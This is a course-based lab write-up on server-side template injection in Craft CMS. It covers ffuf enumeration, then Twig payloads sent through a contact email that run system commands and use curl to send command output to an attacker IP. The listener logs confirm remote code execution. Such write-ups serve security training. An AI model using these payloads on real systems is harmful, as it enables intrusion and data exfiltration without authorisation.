Case Study: Craft CMS

The example below is based on OffSec's WEB-200 course.

The source code of the web application contains some clues. More specifically, it discloses that the Craft CMS is used and the use of [] in the name attribute of the input field indicates the usage of the PHP programming language (Figure 1).

Figure 1: Inspecting the source code of the homepage.

Performing a dirbusting with ffuf , we find that there is an /admin directory which further confirms that we are using the Craft CMS (Figure 2).

$ ffuf -u 'http://craft/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -c -ic -ac
<SNIP>

index          [Status: 200, Size: 56254, Words: 12711, Lines: 740, Duration: 2847ms]
admin          [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3572ms]
logout         [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3448ms]
Figure 2: The /admin directory validates the usage of the Craft CMS.

The home page of the web application provides a way to send an email to the site's administrator. Emails are great targets for SSTI as they consist of mainly generic elements which are then tailored to the user using a templating engine. Searching for "Craft CMS templating engine" reveals that Twig is used (Figure 3).

Figure 3: Enumerating Craft's templating engine.

We can send an email containing a Twig-specific payload to form an out-of-band communication.

{{[0]|reduce('system','curl http://192.168.45.155:7331/hello')}}

When we send the email the payload is executed and we receive a response back.

$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
192.168.152.105 - - [15/Aug/2024 17:01:27] code 404, message File not found
192.168.152.105 - - [15/Aug/2024 17:01:27] "GET /hello HTTP/1.1" 404 -

To exfiltrate data in Twig, we use the tilde character (~) for string concatenation, which allows us to append the exfiltrated data to a GET request and the set tag to declare variables. Additionally, we apply the url_encode method method to the exfil variable to ensure our payload is properly URL-encoded.

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.45.155:7331/?exfil=' ~ exfil)}}

In the response, we confirm that we have achieved RCE.

$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
192.168.152.105 - - [15/Aug/2024 17:45:00] "GET /?exfil=%3Cbr%20%2F%3E%0Awww-data%0Awww-data%3Cbr%20%2F%3E%0A HTTP/1.1" 200 -

# URL-decoding the exfiltrated data
$ echo "%3Cbr%20%2F%3E%0Awww-data%0Awww-data%3Cbr%20%2F%3E%0A" | python3 -c 'import sys;from urllib.parse import unquote;print(unquote(sys.stdin.read()));'
<br />
www-data
www-data<br />

Last updated

Was this helpful?